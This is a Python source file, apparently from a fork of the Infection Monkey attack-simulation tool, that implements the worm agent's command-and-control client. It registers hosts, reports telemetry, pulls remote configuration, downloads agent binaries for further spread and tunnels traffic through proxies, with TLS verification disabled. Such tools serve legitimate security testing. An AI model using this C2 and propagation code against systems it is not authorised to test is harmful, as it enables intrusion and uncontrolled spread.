forked from p15670423/monkey
272 lines
11 KiB
Python
272 lines
11 KiB
Python
import json
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import logging
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import platform
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from socket import gethostname
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import requests
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import monkeyfs
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import tunnel
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from config import WormConfiguration, GUID
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from network.info import local_ips, check_internet_access
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from transport.http import HTTPConnectProxy
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from transport.tcp import TcpProxy
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__author__ = 'hoffer'
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requests.packages.urllib3.disable_warnings()
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LOG = logging.getLogger(__name__)
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DOWNLOAD_CHUNK = 1024
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class ControlClient(object):
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proxies = {}
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@staticmethod
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def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
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LOG.debug("Trying to wake up with C&C servers list: %r" % WormConfiguration.command_servers)
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if parent or default_tunnel:
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LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
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hostname = gethostname()
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if not parent:
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parent = GUID
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if has_internet_access is None:
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has_internet_access = check_internet_access(WormConfiguration.internet_services)
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for server in WormConfiguration.command_servers:
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try:
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WormConfiguration.current_server = server
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monkey = {'guid': GUID,
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'hostname': hostname,
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'ip_addresses': local_ips(),
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'description': " ".join(platform.uname()),
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'internet_access': has_internet_access,
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'config': WormConfiguration.as_dict(),
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'parent': parent}
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if ControlClient.proxies:
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monkey['tunnel'] = ControlClient.proxies.get('https')
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debug_message = "Trying to connect to server: %s" % server
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if ControlClient.proxies:
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debug_message += " through proxies: %s" % ControlClient.proxies
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LOG.debug(debug_message)
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reply = requests.post("https://%s/api/monkey" % (server,),
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data=json.dumps(monkey),
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headers={'content-type': 'application/json'},
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verify=False,
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proxies=ControlClient.proxies,
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timeout=20)
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break
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except Exception as exc:
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WormConfiguration.current_server = ""
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LOG.warn("Error connecting to control server %s: %s", server, exc)
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if not WormConfiguration.current_server:
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if not ControlClient.proxies:
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LOG.info("Starting tunnel lookup...")
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proxy_find = tunnel.find_tunnel(default=default_tunnel)
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if proxy_find:
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proxy_address, proxy_port = proxy_find
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LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
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ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
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ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
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else:
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LOG.info("No tunnel found")
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@staticmethod
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def keepalive():
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if not WormConfiguration.current_server:
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return
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try:
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monkey = {}
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if ControlClient.proxies:
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monkey['tunnel'] = ControlClient.proxies.get('https')
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reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
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data=json.dumps(monkey),
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headers={'content-type': 'application/json'},
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verify=False,
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proxies=ControlClient.proxies)
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s",
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WormConfiguration.current_server, exc)
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return {}
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@staticmethod
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def send_telemetry(telem_type, data):
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if not WormConfiguration.current_server:
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return
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try:
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telemetry = {'monkey_guid': GUID, 'telem_type': telem_type, 'data': data}
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reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
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data=json.dumps(telemetry),
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headers={'content-type': 'application/json'},
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verify=False,
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proxies=ControlClient.proxies)
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s",
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WormConfiguration.current_server, exc)
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@staticmethod
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def load_control_config():
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if not WormConfiguration.current_server:
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return
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try:
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reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
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verify=False,
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proxies=ControlClient.proxies)
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s",
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WormConfiguration.current_server, exc)
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return
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try:
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unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
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LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
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except Exception as exc:
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# we don't continue with default conf here because it might be dangerous
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LOG.error("Error parsing JSON reply from control server %s (%s): %s",
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WormConfiguration.current_server, reply._content, exc)
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raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc)
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if unknown_variables:
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ControlClient.send_config_error()
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@staticmethod
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def send_config_error():
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if not WormConfiguration.current_server:
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return
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try:
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requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
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data=json.dumps({'config_error': True}),
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headers={'content-type': 'application/json'},
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verify=False,
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proxies=ControlClient.proxies)
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
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return {}
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@staticmethod
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def check_for_stop():
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ControlClient.load_control_config()
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return not WormConfiguration.alive
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@staticmethod
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def download_monkey_exe(host):
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filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
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if filename is None:
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return None
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return ControlClient.download_monkey_exe_by_filename(filename, size)
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@staticmethod
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def download_monkey_exe_by_os(is_windows, is_32bit):
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filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
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ControlClient.spoof_host_os_info(is_windows, is_32bit))
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if filename is None:
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return None
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return ControlClient.download_monkey_exe_by_filename(filename, size)
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@staticmethod
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def spoof_host_os_info(is_windows, is_32bit):
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if is_windows:
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os = "windows"
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if is_32bit:
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arch = "x86"
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else:
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arch = "amd64"
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else:
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os = "linux"
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if is_32bit:
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arch = "i686"
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else:
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arch = "x86_64"
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return \
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{
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"os":
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{
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"type": os,
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"machine": arch
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}
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}
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@staticmethod
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def download_monkey_exe_by_filename(filename, size):
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if not WormConfiguration.current_server:
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return None
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try:
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dest_file = monkeyfs.virtual_path(filename)
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if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
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return dest_file
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else:
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download = requests.get("https://%s/api/monkey/download/%s" %
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(WormConfiguration.current_server, filename),
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verify=False,
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proxies=ControlClient.proxies)
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with monkeyfs.open(dest_file, 'wb') as file_obj:
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for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
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if chunk:
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file_obj.write(chunk)
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file_obj.flush()
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if size == monkeyfs.getsize(dest_file):
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return dest_file
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s",
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WormConfiguration.current_server, exc)
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@staticmethod
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def get_monkey_exe_filename_and_size_by_host(host):
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return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
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@staticmethod
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def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
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if not WormConfiguration.current_server:
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return None, None
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try:
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reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
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data=json.dumps(host_dict),
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headers={'content-type': 'application/json'},
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verify=False, proxies=ControlClient.proxies)
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if 200 == reply.status_code:
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result_json = reply.json()
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filename = result_json.get('filename')
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if not filename:
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return None, None
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size = result_json.get('size')
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return filename, size
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else:
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return None, None
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except Exception as exc:
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LOG.warn("Error connecting to control server %s: %s",
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WormConfiguration.current_server, exc)
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return None, None
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@staticmethod
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def create_control_tunnel():
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if not WormConfiguration.current_server:
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return None
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my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
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if my_proxy:
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proxy_class = TcpProxy
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try:
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target_addr, target_port = my_proxy.split(':', 1)
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target_port = int(target_port)
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except:
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return None
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else:
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proxy_class = HTTPConnectProxy
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target_addr, target_port = None, None
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return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
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